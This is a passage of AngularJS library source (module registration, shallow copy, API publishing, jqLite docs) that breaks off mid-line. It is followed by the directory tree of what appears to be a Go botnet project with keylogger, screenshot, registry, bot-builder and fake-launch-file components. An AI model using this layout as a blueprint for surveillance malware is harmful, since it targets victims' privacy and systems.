     * The `angular.module` is a global place for creating, registering and retrieving Angular
     * modules.
     * All modules (angular core or 3rd party) that should be available to an application must be
     * registered using this mechanism.
     *
     * Passing one argument retrieves an existing {@link angular.Module},
     * whereas passing more than one argument creates a new {@link angular.Module}
     *
     *
     * # Module
     *
     * A module is a collection of services, directives, controllers, filters, and configuration information.
     * `angular.module` is used to configure the {@link auto.$injector $injector}.
     *
     * ```js
     * // Create a new module
     * var myModule = angular.module('myModule', []);
     *
     * // register a new service
     * myModule.value('appName', 'MyCoolApp');
     *
     * // configure existing services inside initialization blocks.
     * myModule.config(['$locationProvider', function($locationProvider) {
     *   // Configure existing providers
     *   $locationProvider.hashPrefix('!');
     * }]);
     * ```
     *
     * Then you can create an injector and load your modules like this:
     *
     * ```js
     * var injector = angular.injector(['ng', 'myModule'])
     * ```
     *
     * However it's more likely that you'll just use
     * {@link ng.directive:ngApp ngApp} or
     * {@link angular.bootstrap} to simplify this process for you.
     *
     * @param {!string} name The name of the module to create or retrieve.
     * @param {!Array.<string>=} requires If specified then new module is being created. If
     *        unspecified then the module is being retrieved for further configuration.
     * @param {Function=} configFn Optional configuration function for the module. Same as
     *        {@link angular.Module#config Module#config()}.
     * @returns {angular.Module} new module with the {@link angular.Module} api.
     */
    return function module(name, requires, configFn) {
      var assertNotHasOwnProperty = function(name, context) {
        if (name === 'hasOwnProperty') {
          throw ngMinErr('badname', 'hasOwnProperty is not a valid {0} name', context);
        }
      };

      assertNotHasOwnProperty(name, 'module');
      if (requires && modules.hasOwnProperty(name)) {
        modules[name] = null;
      }
      return ensure(modules, name, function() {
        if (!requires) {
          throw $injectorMinErr('nomod', "Module '{0}' is not available! You either misspelled " +
             "the module name or forgot to load it. If registering a module ensure that you " +
             "specify the dependencies as the second argument.", name);
        }

        /** @type {!Array.<Array.<*>>} */
        var invokeQueue = [];

        /** @type {!Array.<Function>} */
        var configBlocks = [];

        /** @type {!Array.<Function>} */
        var runBlocks = [];

        var config = invokeLater('$injector', 'invoke', 'push', configBlocks);

        /** @type {angular.Module} */
        var moduleInstance = {
          // Private state
          _invokeQueue: invokeQueue,
          _configBlocks: configBlocks,
          _runBlocks: runBlocks,

          /**
           * @ngdoc property
           * @name angular.Module#requires
           * @module ng
           *
           * @description
           * Holds the list of modules which the injector will load before the current module is
           * loaded.
           */
          requires: requires,

          /**
           * @ngdoc property
           * @name angular.Module#name
           * @module ng
           *
           * @description
           * Name of the module.
           */
          name: name,


          /**
           * @ngdoc method
           * @name angular.Module#provider
           * @module ng
           * @param {string} name service name
           * @param {Function} providerType Construction function for creating new instance of the
           *                                service.
           * @description
           * See {@link auto.$provide#provider $provide.provider()}.
           */
          provider: invokeLaterAndSetModuleName('$provide', 'provider'),

          /**
           * @ngdoc method
           * @name angular.Module#factory
           * @module ng
           * @param {string} name service name
           * @param {Function} providerFunction Function for creating new instance of the service.
           * @description
           * See {@link auto.$provide#factory $provide.factory()}.
           */
          factory: invokeLaterAndSetModuleName('$provide', 'factory'),

          /**
           * @ngdoc method
           * @name angular.Module#service
           * @module ng
           * @param {string} name service name
           * @param {Function} constructor A constructor function that will be instantiated.
           * @description
           * See {@link auto.$provide#service $provide.service()}.
           */
          service: invokeLaterAndSetModuleName('$provide', 'service'),

          /**
           * @ngdoc method
           * @name angular.Module#value
           * @module ng
           * @param {string} name service name
           * @param {*} object Service instance object.
           * @description
           * See {@link auto.$provide#value $provide.value()}.
           */
          value: invokeLater('$provide', 'value'),

          /**
           * @ngdoc method
           * @name angular.Module#constant
           * @module ng
           * @param {string} name constant name
           * @param {*} object Constant value.
           * @description
           * Because the constants are fixed, they get applied before other provide methods.
           * See {@link auto.$provide#constant $provide.constant()}.
           */
          constant: invokeLater('$provide', 'constant', 'unshift'),

           /**
           * @ngdoc method
           * @name angular.Module#decorator
           * @module ng
           * @param {string} name The name of the service to decorate.
           * @param {Function} decorFn This function will be invoked when the service needs to be
           *                           instantiated and should return the decorated service instance.
           * @description
           * See {@link auto.$provide#decorator $provide.decorator()}.
           */
          decorator: invokeLaterAndSetModuleName('$provide', 'decorator'),

          /**
           * @ngdoc method
           * @name angular.Module#animation
           * @module ng
           * @param {string} name animation name
           * @param {Function} animationFactory Factory function for creating new instance of an
           *                                    animation.
           * @description
           *
           * **NOTE**: animations take effect only if the **ngAnimate** module is loaded.
           *
           *
           * Defines an animation hook that can be later used with
           * {@link $animate $animate} service and directives that use this service.
           *
           * ```js
           * module.animation('.animation-name', function($inject1, $inject2) {
           *   return {
           *     eventName : function(element, done) {
           *       //code to run the animation
           *       //once complete, then run done()
           *       return function cancellationFunction(element) {
           *         //code to cancel the animation
           *       }
           *     }
           *   }
           * })
           * ```
           *
           * See {@link ng.$animateProvider#register $animateProvider.register()} and
           * {@link ngAnimate ngAnimate module} for more information.
           */
          animation: invokeLaterAndSetModuleName('$animateProvider', 'register'),

          /**
           * @ngdoc method
           * @name angular.Module#filter
           * @module ng
           * @param {string} name Filter name - this must be a valid angular expression identifier
           * @param {Function} filterFactory Factory function for creating new instance of filter.
           * @description
           * See {@link ng.$filterProvider#register $filterProvider.register()}.
           *
           * <div class="alert alert-warning">
           * **Note:** Filter names must be valid angular {@link expression} identifiers, such as `uppercase` or `orderBy`.
           * Names with special characters, such as hyphens and dots, are not allowed. If you wish to namespace
           * your filters, then you can use capitalization (`myappSubsectionFilterx`) or underscores
           * (`myapp_subsection_filterx`).
           * </div>
           */
          filter: invokeLaterAndSetModuleName('$filterProvider', 'register'),

          /**
           * @ngdoc method
           * @name angular.Module#controller
           * @module ng
           * @param {string|Object} name Controller name, or an object map of controllers where the
           *    keys are the names and the values are the constructors.
           * @param {Function} constructor Controller constructor function.
           * @description
           * See {@link ng.$controllerProvider#register $controllerProvider.register()}.
           */
          controller: invokeLaterAndSetModuleName('$controllerProvider', 'register'),

          /**
           * @ngdoc method
           * @name angular.Module#directive
           * @module ng
           * @param {string|Object} name Directive name, or an object map of directives where the
           *    keys are the names and the values are the factories.
           * @param {Function} directiveFactory Factory function for creating new instance of
           * directives.
           * @description
           * See {@link ng.$compileProvider#directive $compileProvider.directive()}.
           */
          directive: invokeLaterAndSetModuleName('$compileProvider', 'directive'),

          /**
           * @ngdoc method
           * @name angular.Module#component
           * @module ng
           * @param {string} name Name of the component in camel-case (i.e. myComp which will match as my-comp)
           * @param {Object} options Component definition object (a simplified
           *    {@link ng.$compile#directive-definition-object directive definition object})
           *
           * @description
           * See {@link ng.$compileProvider#component $compileProvider.component()}.
           */
          component: invokeLaterAndSetModuleName('$compileProvider', 'component'),

          /**
           * @ngdoc method
           * @name angular.Module#config
           * @module ng
           * @param {Function} configFn Execute this function on module load. Useful for service
           *    configuration.
           * @description
           * Use this method to register work which needs to be performed on module loading.
           * For more about how to configure services, see
           * {@link providers#provider-recipe Provider Recipe}.
           */
          config: config,

          /**
           * @ngdoc method
           * @name angular.Module#run
           * @module ng
           * @param {Function} initializationFn Execute this function after injector creation.
           *    Useful for application initialization.
           * @description
           * Use this method to register work which should be performed when the injector is done
           * loading all modules.
           */
          run: function(block) {
            runBlocks.push(block);
            return this;
          }
        };

        if (configFn) {
          config(configFn);
        }

        return moduleInstance;

        /**
         * @param {string} provider
         * @param {string} method
         * @param {String=} insertMethod
         * @returns {angular.Module}
         */
        function invokeLater(provider, method, insertMethod, queue) {
          if (!queue) queue = invokeQueue;
          return function() {
            queue[insertMethod || 'push']([provider, method, arguments]);
            return moduleInstance;
          };
        }

        /**
         * @param {string} provider
         * @param {string} method
         * @returns {angular.Module}
         */
        function invokeLaterAndSetModuleName(provider, method) {
          return function(recipeName, factoryFunction) {
            if (factoryFunction && isFunction(factoryFunction)) factoryFunction.$$moduleName = name;
            invokeQueue.push([provider, method, arguments]);
            return moduleInstance;
          };
        }
      });
    };
  });

}

/* global shallowCopy: true */

/**
 * Creates a shallow copy of an object, an array or a primitive.
 *
 * Assumes that there are no proto properties for objects.
 */
function shallowCopy(src, dst) {
  if (isArray(src)) {
    dst = dst || [];

    for (var i = 0, ii = src.length; i < ii; i++) {
      dst[i] = src[i];
    }
  } else if (isObject(src)) {
    dst = dst || {};

    for (var key in src) {
      if (!(key.charAt(0) === '$' && key.charAt(1) === '$')) {
        dst[key] = src[key];
      }
    }
  }

  return dst || src;
}

/* global toDebugString: true */

function serializeObject(obj) {
  var seen = [];

  return JSON.stringify(obj, function(key, val) {
    val = toJsonReplacer(key, val);
    if (isObject(val)) {

      if (seen.indexOf(val) >= 0) return '...';

      seen.push(val);
    }
    return val;
  });
}

function toDebugString(obj) {
  if (typeof obj === 'function') {
    return obj.toString().replace(/ \{[\s\S]*$/, '');
  } else if (isUndefined(obj)) {
    return 'undefined';
  } else if (typeof obj !== 'string') {
    return serializeObject(obj);
  }
  return obj;
}

/* global angularModule: true,
  version: true,

  $CompileProvider,

  htmlAnchorDirective,
  inputDirective,
  inputDirective,
  formDirective,
  scriptDirective,
  selectDirective,
  styleDirective,
  optionDirective,
  ngBindDirective,
  ngBindHtmlDirective,
  ngBindTemplateDirective,
  ngClassDirective,
  ngClassEvenDirective,
  ngClassOddDirective,
  ngCloakDirective,
  ngControllerDirective,
  ngFormDirective,
  ngHideDirective,
  ngIfDirective,
  ngIncludeDirective,
  ngIncludeFillContentDirective,
  ngInitDirective,
  ngNonBindableDirective,
  ngPluralizeDirective,
  ngRepeatDirective,
  ngShowDirective,
  ngStyleDirective,
  ngSwitchDirective,
  ngSwitchWhenDirective,
  ngSwitchDefaultDirective,
  ngOptionsDirective,
  ngTranscludeDirective,
  ngModelDirective,
  ngListDirective,
  ngChangeDirective,
  patternDirective,
  patternDirective,
  requiredDirective,
  requiredDirective,
  minlengthDirective,
  minlengthDirective,
  maxlengthDirective,
  maxlengthDirective,
  ngValueDirective,
  ngModelOptionsDirective,
  ngAttributeAliasDirectives,
  ngEventDirectives,

  $AnchorScrollProvider,
  $AnimateProvider,
  $CoreAnimateCssProvider,
  $$CoreAnimateJsProvider,
  $$CoreAnimateQueueProvider,
  $$AnimateRunnerFactoryProvider,
  $$AnimateAsyncRunFactoryProvider,
  $BrowserProvider,
  $CacheFactoryProvider,
  $ControllerProvider,
  $DateProvider,
  $DocumentProvider,
  $ExceptionHandlerProvider,
  $FilterProvider,
  $$ForceReflowProvider,
  $InterpolateProvider,
  $IntervalProvider,
  $$HashMapProvider,
  $HttpProvider,
  $HttpParamSerializerProvider,
  $HttpParamSerializerJQLikeProvider,
  $HttpBackendProvider,
  $xhrFactoryProvider,
  $LocationProvider,
  $LogProvider,
  $ParseProvider,
  $RootScopeProvider,
  $QProvider,
  $$QProvider,
  $$SanitizeUriProvider,
  $SceProvider,
  $SceDelegateProvider,
  $SnifferProvider,
  $TemplateCacheProvider,
  $TemplateRequestProvider,
  $$TestabilityProvider,
  $TimeoutProvider,
  $$RAFProvider,
  $WindowProvider,
  $$jqLiteProvider,
  $$CookieReaderProvider
*/


/**
 * @ngdoc object
 * @name angular.version
 * @module ng
 * @description
 * An object that contains information about the current AngularJS version.
 *
 * This object has the following properties:
 *
 * - `full` – `{string}` – Full version string, such as "0.9.18".
 * - `major` – `{number}` – Major version number, such as "0".
 * - `minor` – `{number}` – Minor version number, such as "9".
 * - `dot` – `{number}` – Dot version number, such as "18".
 * - `codeName` – `{string}` – Code name of the release, such as "jiggling-armfat".
 */
var version = {
  full: '1.5.7',    // all of these placeholder strings will be replaced by grunt's
  major: 1,    // package task
  minor: 5,
  dot: 7,
  codeName: 'hexagonal-circumvolution'
};


function publishExternalAPI(angular) {
  extend(angular, {
    'bootstrap': bootstrap,
    'copy': copy,
    'extend': extend,
    'merge': merge,
    'equals': equals,
    'element': jqLite,
    'forEach': forEach,
    'injector': createInjector,
    'noop': noop,
    'bind': bind,
    'toJson': toJson,
    'fromJson': fromJson,
    'identity': identity,
    'isUndefined': isUndefined,
    'isDefined': isDefined,
    'isString': isString,
    'isFunction': isFunction,
    'isObject': isObject,
    'isNumber': isNumber,
    'isElement': isElement,
    'isArray': isArray,
    'version': version,
    'isDate': isDate,
    'lowercase': lowercase,
    'uppercase': uppercase,
    'callbacks': {counter: 0},
    'getTestability': getTestability,
    '$$minErr': minErr,
    '$$csp': csp,
    'reloadWithDebugInfo': reloadWithDebugInfo
  });

  angularModule = setupModuleLoader(window);

  angularModule('ng', ['ngLocale'], ['$provide',
    function ngModule($provide) {
      // $$sanitizeUriProvider needs to be before $compileProvider as it is used by it.
      $provide.provider({
        $$sanitizeUri: $$SanitizeUriProvider
      });
      $provide.provider('$compile', $CompileProvider).
        directive({
            a: htmlAnchorDirective,
            input: inputDirective,
            textarea: inputDirective,
            form: formDirective,
            script: scriptDirective,
            select: selectDirective,
            style: styleDirective,
            option: optionDirective,
            ngBind: ngBindDirective,
            ngBindHtml: ngBindHtmlDirective,
            ngBindTemplate: ngBindTemplateDirective,
            ngClass: ngClassDirective,
            ngClassEven: ngClassEvenDirective,
            ngClassOdd: ngClassOddDirective,
            ngCloak: ngCloakDirective,
            ngController: ngControllerDirective,
            ngForm: ngFormDirective,
            ngHide: ngHideDirective,
            ngIf: ngIfDirective,
            ngInclude: ngIncludeDirective,
            ngInit: ngInitDirective,
            ngNonBindable: ngNonBindableDirective,
            ngPluralize: ngPluralizeDirective,
            ngRepeat: ngRepeatDirective,
            ngShow: ngShowDirective,
            ngStyle: ngStyleDirective,
            ngSwitch: ngSwitchDirective,
            ngSwitchWhen: ngSwitchWhenDirective,
            ngSwitchDefault: ngSwitchDefaultDirective,
            ngOptions: ngOptionsDirective,
            ngTransclude: ngTranscludeDirective,
            ngModel: ngModelDirective,
            ngList: ngListDirective,
            ngChange: ngChangeDirective,
            pattern: patternDirective,
            ngPattern: patternDirective,
            required: requiredDirective,
            ngRequired: requiredDirective,
            minlength: minlengthDirective,
            ngMinlength: minlengthDirective,
            maxlength: maxlengthDirective,
            ngMaxlength: maxlengthDirective,
            ngValue: ngValueDirective,
            ngModelOptions: ngModelOptionsDirective
        }).
        directive({
          ngInclude: ngIncludeFillContentDirective
        }).
        directive(ngAttributeAliasDirectives).
        directive(ngEventDirectives);
      $provide.provider({
        $anchorScroll: $AnchorScrollProvider,
        $animate: $AnimateProvider,
        $animateCss: $CoreAnimateCssProvider,
        $$animateJs: $$CoreAnimateJsProvider,
        $$animateQueue: $$CoreAnimateQueueProvider,
        $$AnimateRunner: $$AnimateRunnerFactoryProvider,
        $$animateAsyncRun: $$AnimateAsyncRunFactoryProvider,
        $browser: $BrowserProvider,
        $cacheFactory: $CacheFactoryProvider,
        $controller: $ControllerProvider,
        $document: $DocumentProvider,
        $exceptionHandler: $ExceptionHandlerProvider,
        $filter: $FilterProvider,
        $$forceReflow: $$ForceReflowProvider,
        $interpolate: $InterpolateProvider,
        $interval: $IntervalProvider,
        $http: $HttpProvider,
        $httpParamSerializer: $HttpParamSerializerProvider,
        $httpParamSerializerJQLike: $HttpParamSerializerJQLikeProvider,
        $httpBackend: $HttpBackendProvider,
        $xhrFactory: $xhrFactoryProvider,
        $location: $LocationProvider,
        $log: $LogProvider,
        $parse: $ParseProvider,
        $rootScope: $RootScopeProvider,
        $q: $QProvider,
        $$q: $$QProvider,
        $sce: $SceProvider,
        $sceDelegate: $SceDelegateProvider,
        $sniffer: $SnifferProvider,
        $templateCache: $TemplateCacheProvider,
        $templateRequest: $TemplateRequestProvider,
        $$testability: $$TestabilityProvider,
        $timeout: $TimeoutProvider,
        $window: $WindowProvider,
        $$rAF: $$RAFProvider,
        $$jqLite: $$jqLiteProvider,
        $$HashMap: $$HashMapProvider,
        $$cookieReader: $$CookieReaderProvider
      });
    }
  ]);
}

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 *     Any commits to this file should be reviewed with security in mind.  *
 *   Changes to this file can potentially create security vulnerabilities. *
 *          An approval from 2 Core members with history of modifying      *
 *                         this file is required.                          *
 *                                                                         *
 *  Does the change somehow allow for arbitrary javascript to be executed? *
 *    Or allows for someone to change the prototype of built-in objects?   *
 *     Or gives undesired access to variables likes document or window?    *
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

/* global JQLitePrototype: true,
  addEventListenerFn: true,
  removeEventListenerFn: true,
  BOOLEAN_ATTR: true,
  ALIASED_ATTR: true,
*/

//////////////////////////////////
//JQLite
//////////////////////////////////

/**
 * @ngdoc function
 * @name angular.element
 * @module ng
 * @kind function
 *
 * @description
 * Wraps a raw DOM element or HTML string as a [jQuery](http://jquery.com) element.
 *
 * If jQuery is available, `angular.element` is an alias for the
 * [jQuery](http://api.jquery.com/jQuery/) function. If jQuery is not available, `angular.element`
 * delegates to Angular's built-in subset of jQuery, called "jQuery lite" or **jqLite**.
 *
 * jqLite is a tiny, API-compatible subset of jQuery that allows
 * Angular to manipulate the DOM in a cross-browser compatible way. jqLite implements only the most
 * commonly needed functionality with the goal of having a very small footprint.
 *
 * To use `jQuery`, simply ensure it is loaded before the `angular.js` file. You can also use the
 * {@link ngJq `ngJq`} directive to specify that jqlite should be used over jQuery, or to use a
 * specific version of jQuery if multiple versions exist on the page.
 *
 * <div class="alert alert-info">**Note:** All element references in Angular are always wrapped with jQuery or
 * jqLite (such as the element argument in a directive's compile / link function). They are never raw DOM references.</div>
 *
 * <div class="alert alert-warning">**Note:** Keep in mind that this function will not find elements
 * by tag name / CSS selector. For lookups by tag name, try instead `angular.element(document).find(...)`
 * or `$document.find()`, or use the standard DOM APIs, e.g. `document.querySelectorAll()`.</div>
 *
 * ## Angular's jqLite
 * jqLite provides only the following jQuery methods:
 *
 * - [`addClass()`](http://api.jquery.com/addClass/) - Does not support a function as first argument
 * - [`after()`](http://api.jquery.com/after/)
 * - [`append()`](http://api.jquery.com/append/)
 * - [`attr()`](http://api.jquery.com/attr/) - Does not support functions as parameters
 * - [`bind()`](http://api.jquery.com/bind/) - Does not support namespaces, selectors or eventData
 * - [`children()`](http://api.jquery.com/children/) - Does not support selectors
 * - [`clone()`](http://api.jquery.com/clone/)
 * - [`contents()`](http://api.jquery.com/contents/)
 * - [`css()`](http://api.jquery.com/css/) - Only retrieves inline-styles, does not call `getComputedStyle()`.
 *   As a setter, does not convert numbers to strings or append 'px', and also does not have automatic property prefixing.
 * - [`data()`](http://api.jquery.com/data/)
 * - [`detach()`](http://api.jquery.com/detach/)
 * - [`empty()`](http://api.jquery.com/empty/)
 * - [`eq()`](http://api.jquery.com/eq/)
 * - [`find()`](http://api.jquery.com/find/) - Limited to lookups by tag name
 * - [`hasClass()`](http://api.jquery.com/hasClass/)
 * - [`html()`](http://api.jquery.com/html/)
 * - [`next()`](http://api.jquery.com/next/) - Does not support selectors
 * - [`on()`](http://api.jquery.com/on/) - Does not support namespaces, selectors or eventData
 * - [`off()`](http://api.jquery.com/off/) - Does not support namespaces, selectors or event object as parameter
 * - [`one()`](http://api.jquery.com/one/) - Does not support namespaces or selectors
 * - [`parent()`](http://api.jquery.com/parent/) - Does not support selectors
 * - [`prepend()`](http://api.jquery.com/prepend/)
 * - [`prop()`](http://api.jquery.com/prop/)
 * - [`ready()`](http://api.jquery.com/ready/)
 * - [`remove()`](http://api.jquery.com/remove/)
 * - [`removeAttr()`](http://api.jquery.com/removeAttr/)
 * - [`removeClass()`](http://api.jquery.com/removeClass/) - Does not support a function as first argument
 * - [`removeData()`](http://api.jquery.com/removeData/)
 * - [`replaceWith()`](http://api.jquery.com/replaceWith/)
 * - [`text()`](http://api.jquery.com/text/)
 * - [`toggleClass()`](http://api.jquery.com/toggleClass/) - Does not support a function as first argument
 * - [`triggerHandler()`](http://api.jquery.com/triggerHandler/) - Passes a dummy event object to handlers
 * - [`unbind()`](http://api.jquery.com/unbind/) - Does not support namespaces or event object as parameter
 * - [`val()`](http://api.jquery.com/val/)
 * - [`wrap()`](http://api.jquery.com/wrap/)
 *
 * ## jQuery/jqLite Extras
 * Angular also provides the following additional methods and events to both jQuery and jqLite:
 *
 * ### Events
 * - `$destroy` - AngularJS intercepts all jqLite/jQuery's DOM destruction apis and fires this event
 *    on all DOM nodes being removed.  This can be used to clean up any 3rd party bindings to the DOM
 *    element before it is removed.
 *
 * ### Methods
 * - `controller(name)` - retrieves the controller of the current element or its parent. By default
 *   retrieves controller associated with the `ngController` directive. If `name` is provided as
 *   camelCase directive name, then the controller for this directive will be retrieved (e.g.
 *   `'ngModel'`).
 * - `injector()` - retrieves the injector of the current element or its parent.
 * - `scope()` - retrieves the {@link ng.$rootScope.Scope scope} of the current
 *   element or its parent. Requires {@link guide/production#disabling-debug-data Debug Data} to
 *   be enabled.
 * - `isolateScope()` - retrieves an isolate {@link ng.$rootScope.Scope scope} if one is attached directly to the
 *   current element. This getter should be used only on elements that contain a directive which starts a new isolate
 *   scope. Calling `scope()` on this element always returns the original non-isolate scope.
 *   Requires {@link guide/production#disabling-debug-data Debug Data} to be enabled.
 * - `inheritedData()` - same as `data()`, but walks up the DOM until a value is found or the top
 *   parent element is reached.
 *
 * @knownIssue You cannot spy on `angular.element` if you are using Jasmine version 1.x. See
 * https://github.com/angular/angular.js/issues/14251 for more information.
 *
 * @param {string|DOMElement} element HTML string or DOMElement to be wrapped into jQuery.
 * @returns {Object} jQuery object.
 */

JQLite.expando = '
Download .txt
gitextract_cnst59q9/

├── .gitignore
├── README.md
├── backend_main.go
├── client/
│   ├── configuration.toml
│   ├── fakefiles/
│   │   └── test.txt
│   ├── main.go
│   └── utils/
│       ├── CreateSourceForFakeLaunchFile.go
│       ├── TestLaunchFakeFile.go
│       └── makebot.go
├── db/
│   └── schema.sql
├── dns_server.go
├── src/
│   ├── addfile/
│   │   ├── 11
│   │   ├── addfile.go
│   │   └── config.go
│   ├── gobotnet/
│   │   ├── file_operation.go
│   │   ├── keylogger.go
│   │   ├── other_function.go
│   │   ├── registration.go
│   │   ├── registry_work.go
│   │   └── screenshot.go
│   └── wrapper/
│       ├── api.go
│       └── winhttp.go
└── web/
    ├── auth.html
    ├── bower.json
    ├── bower_components/
    │   ├── angular/
    │   │   ├── .bower.json
    │   │   ├── LICENSE.md
    │   │   ├── README.md
    │   │   ├── angular-csp.css
    │   │   ├── angular.js
    │   │   ├── angular.min.js.gzip
    │   │   ├── bower.json
    │   │   ├── index.js
    │   │   └── package.json
    │   ├── angular-animate/
    │   │   ├── .bower.json
    │   │   ├── LICENSE.md
    │   │   ├── README.md
    │   │   ├── angular-animate.js
    │   │   ├── bower.json
    │   │   ├── index.js
    │   │   └── package.json
    │   ├── angular-aria/
    │   │   ├── .bower.json
    │   │   ├── LICENSE.md
    │   │   ├── README.md
    │   │   ├── angular-aria.js
    │   │   ├── bower.json
    │   │   ├── index.js
    │   │   └── package.json
    │   ├── angular-base64/
    │   │   ├── .bower.json
    │   │   ├── LICENSE
    │   │   ├── README.md
    │   │   ├── angular-base64.js
    │   │   └── bower.json
    │   ├── angular-clipboard/
    │   │   ├── .bower.json
    │   │   ├── .travis.yml
    │   │   ├── angular-clipboard.js
    │   │   └── bower.json
    │   ├── angular-material/
    │   │   ├── .bower.json
    │   │   ├── CHANGELOG.md
    │   │   ├── LICENSE
    │   │   ├── README.md
    │   │   ├── angular-material-mocks.js
    │   │   ├── angular-material.css
    │   │   ├── angular-material.js
    │   │   ├── angular-material.scss
    │   │   ├── bower.json
    │   │   ├── index.js
    │   │   ├── layouts/
    │   │   │   ├── angular-material.layout-attributes.css
    │   │   │   ├── angular-material.layout-attributes.scss
    │   │   │   ├── angular-material.layouts.css
    │   │   │   └── angular-material.layouts.scss
    │   │   ├── modules/
    │   │   │   ├── closure/
    │   │   │   │   ├── autocomplete/
    │   │   │   │   │   ├── autocomplete-default-theme.css
    │   │   │   │   │   ├── autocomplete.css
    │   │   │   │   │   └── autocomplete.js
    │   │   │   │   ├── backdrop/
    │   │   │   │   │   ├── backdrop-default-theme.css
    │   │   │   │   │   ├── backdrop.css
    │   │   │   │   │   └── backdrop.js
    │   │   │   │   ├── bottomSheet/
    │   │   │   │   │   ├── bottomSheet-default-theme.css
    │   │   │   │   │   ├── bottomSheet.css
    │   │   │   │   │   └── bottomSheet.js
    │   │   │   │   ├── button/
    │   │   │   │   │   ├── button-default-theme.css
    │   │   │   │   │   ├── button.css
    │   │   │   │   │   └── button.js
    │   │   │   │   ├── card/
    │   │   │   │   │   ├── card-default-theme.css
    │   │   │   │   │   ├── card.css
    │   │   │   │   │   └── card.js
    │   │   │   │   ├── checkbox/
    │   │   │   │   │   ├── checkbox-default-theme.css
    │   │   │   │   │   ├── checkbox.css
    │   │   │   │   │   └── checkbox.js
    │   │   │   │   ├── chips/
    │   │   │   │   │   ├── chips-default-theme.css
    │   │   │   │   │   ├── chips.css
    │   │   │   │   │   └── chips.js
    │   │   │   │   ├── colors/
    │   │   │   │   │   └── colors.js
    │   │   │   │   ├── content/
    │   │   │   │   │   ├── content-default-theme.css
    │   │   │   │   │   ├── content.css
    │   │   │   │   │   └── content.js
    │   │   │   │   ├── core/
    │   │   │   │   │   ├── core.css
    │   │   │   │   │   ├── core.js
    │   │   │   │   │   └── default-theme.js
    │   │   │   │   ├── datepicker/
    │   │   │   │   │   ├── datepicker-default-theme.css
    │   │   │   │   │   ├── datepicker.css
    │   │   │   │   │   └── datepicker.js
    │   │   │   │   ├── dialog/
    │   │   │   │   │   ├── dialog-default-theme.css
    │   │   │   │   │   ├── dialog.css
    │   │   │   │   │   └── dialog.js
    │   │   │   │   ├── divider/
    │   │   │   │   │   ├── divider-default-theme.css
    │   │   │   │   │   ├── divider.css
    │   │   │   │   │   └── divider.js
    │   │   │   │   ├── fabActions/
    │   │   │   │   │   └── fabActions.js
    │   │   │   │   ├── fabSpeedDial/
    │   │   │   │   │   ├── fabSpeedDial.css
    │   │   │   │   │   └── fabSpeedDial.js
    │   │   │   │   ├── fabToolbar/
    │   │   │   │   │   ├── fabToolbar.css
    │   │   │   │   │   └── fabToolbar.js
    │   │   │   │   ├── fabTrigger/
    │   │   │   │   │   └── fabTrigger.js
    │   │   │   │   ├── gridList/
    │   │   │   │   │   ├── gridList-default-theme.css
    │   │   │   │   │   ├── gridList.css
    │   │   │   │   │   └── gridList.js
    │   │   │   │   ├── icon/
    │   │   │   │   │   ├── icon-default-theme.css
    │   │   │   │   │   ├── icon.css
    │   │   │   │   │   └── icon.js
    │   │   │   │   ├── input/
    │   │   │   │   │   ├── input-default-theme.css
    │   │   │   │   │   ├── input.css
    │   │   │   │   │   └── input.js
    │   │   │   │   ├── list/
    │   │   │   │   │   ├── list-default-theme.css
    │   │   │   │   │   ├── list.css
    │   │   │   │   │   └── list.js
    │   │   │   │   ├── menu/
    │   │   │   │   │   ├── menu-default-theme.css
    │   │   │   │   │   ├── menu.css
    │   │   │   │   │   └── menu.js
    │   │   │   │   ├── menuBar/
    │   │   │   │   │   ├── menuBar-default-theme.css
    │   │   │   │   │   ├── menuBar.css
    │   │   │   │   │   └── menuBar.js
    │   │   │   │   ├── navBar/
    │   │   │   │   │   ├── navBar-default-theme.css
    │   │   │   │   │   ├── navBar.css
    │   │   │   │   │   └── navBar.js
    │   │   │   │   ├── panel/
    │   │   │   │   │   ├── panel-default-theme.css
    │   │   │   │   │   ├── panel.css
    │   │   │   │   │   └── panel.js
    │   │   │   │   ├── progressCircular/
    │   │   │   │   │   ├── progressCircular-default-theme.css
    │   │   │   │   │   ├── progressCircular.css
    │   │   │   │   │   └── progressCircular.js
    │   │   │   │   ├── progressLinear/
    │   │   │   │   │   ├── progressLinear-default-theme.css
    │   │   │   │   │   ├── progressLinear.css
    │   │   │   │   │   └── progressLinear.js
    │   │   │   │   ├── radioButton/
    │   │   │   │   │   ├── radioButton-default-theme.css
    │   │   │   │   │   ├── radioButton.css
    │   │   │   │   │   └── radioButton.js
    │   │   │   │   ├── select/
    │   │   │   │   │   ├── select-default-theme.css
    │   │   │   │   │   ├── select.css
    │   │   │   │   │   └── select.js
    │   │   │   │   ├── showHide/
    │   │   │   │   │   └── showHide.js
    │   │   │   │   ├── sidenav/
    │   │   │   │   │   ├── sidenav-default-theme.css
    │   │   │   │   │   ├── sidenav.css
    │   │   │   │   │   └── sidenav.js
    │   │   │   │   ├── slider/
    │   │   │   │   │   ├── slider-default-theme.css
    │   │   │   │   │   ├── slider.css
    │   │   │   │   │   └── slider.js
    │   │   │   │   ├── sticky/
    │   │   │   │   │   ├── sticky.css
    │   │   │   │   │   └── sticky.js
    │   │   │   │   ├── subheader/
    │   │   │   │   │   ├── subheader-default-theme.css
    │   │   │   │   │   ├── subheader.css
    │   │   │   │   │   └── subheader.js
    │   │   │   │   ├── swipe/
    │   │   │   │   │   └── swipe.js
    │   │   │   │   ├── switch/
    │   │   │   │   │   ├── switch-default-theme.css
    │   │   │   │   │   ├── switch.css
    │   │   │   │   │   └── switch.js
    │   │   │   │   ├── tabs/
    │   │   │   │   │   ├── tabs-default-theme.css
    │   │   │   │   │   ├── tabs.css
    │   │   │   │   │   └── tabs.js
    │   │   │   │   ├── textField/
    │   │   │   │   │   ├── textField-default-theme.css
    │   │   │   │   │   ├── textField.css
    │   │   │   │   │   └── textField.js
    │   │   │   │   ├── toast/
    │   │   │   │   │   ├── toast-default-theme.css
    │   │   │   │   │   ├── toast.css
    │   │   │   │   │   └── toast.js
    │   │   │   │   ├── toolbar/
    │   │   │   │   │   ├── toolbar-default-theme.css
    │   │   │   │   │   ├── toolbar.css
    │   │   │   │   │   └── toolbar.js
    │   │   │   │   ├── tooltip/
    │   │   │   │   │   ├── tooltip-default-theme.css
    │   │   │   │   │   ├── tooltip.css
    │   │   │   │   │   └── tooltip.js
    │   │   │   │   ├── virtualRepeat/
    │   │   │   │   │   ├── virtualRepeat.css
    │   │   │   │   │   └── virtualRepeat.js
    │   │   │   │   └── whiteframe/
    │   │   │   │       ├── whiteframe.css
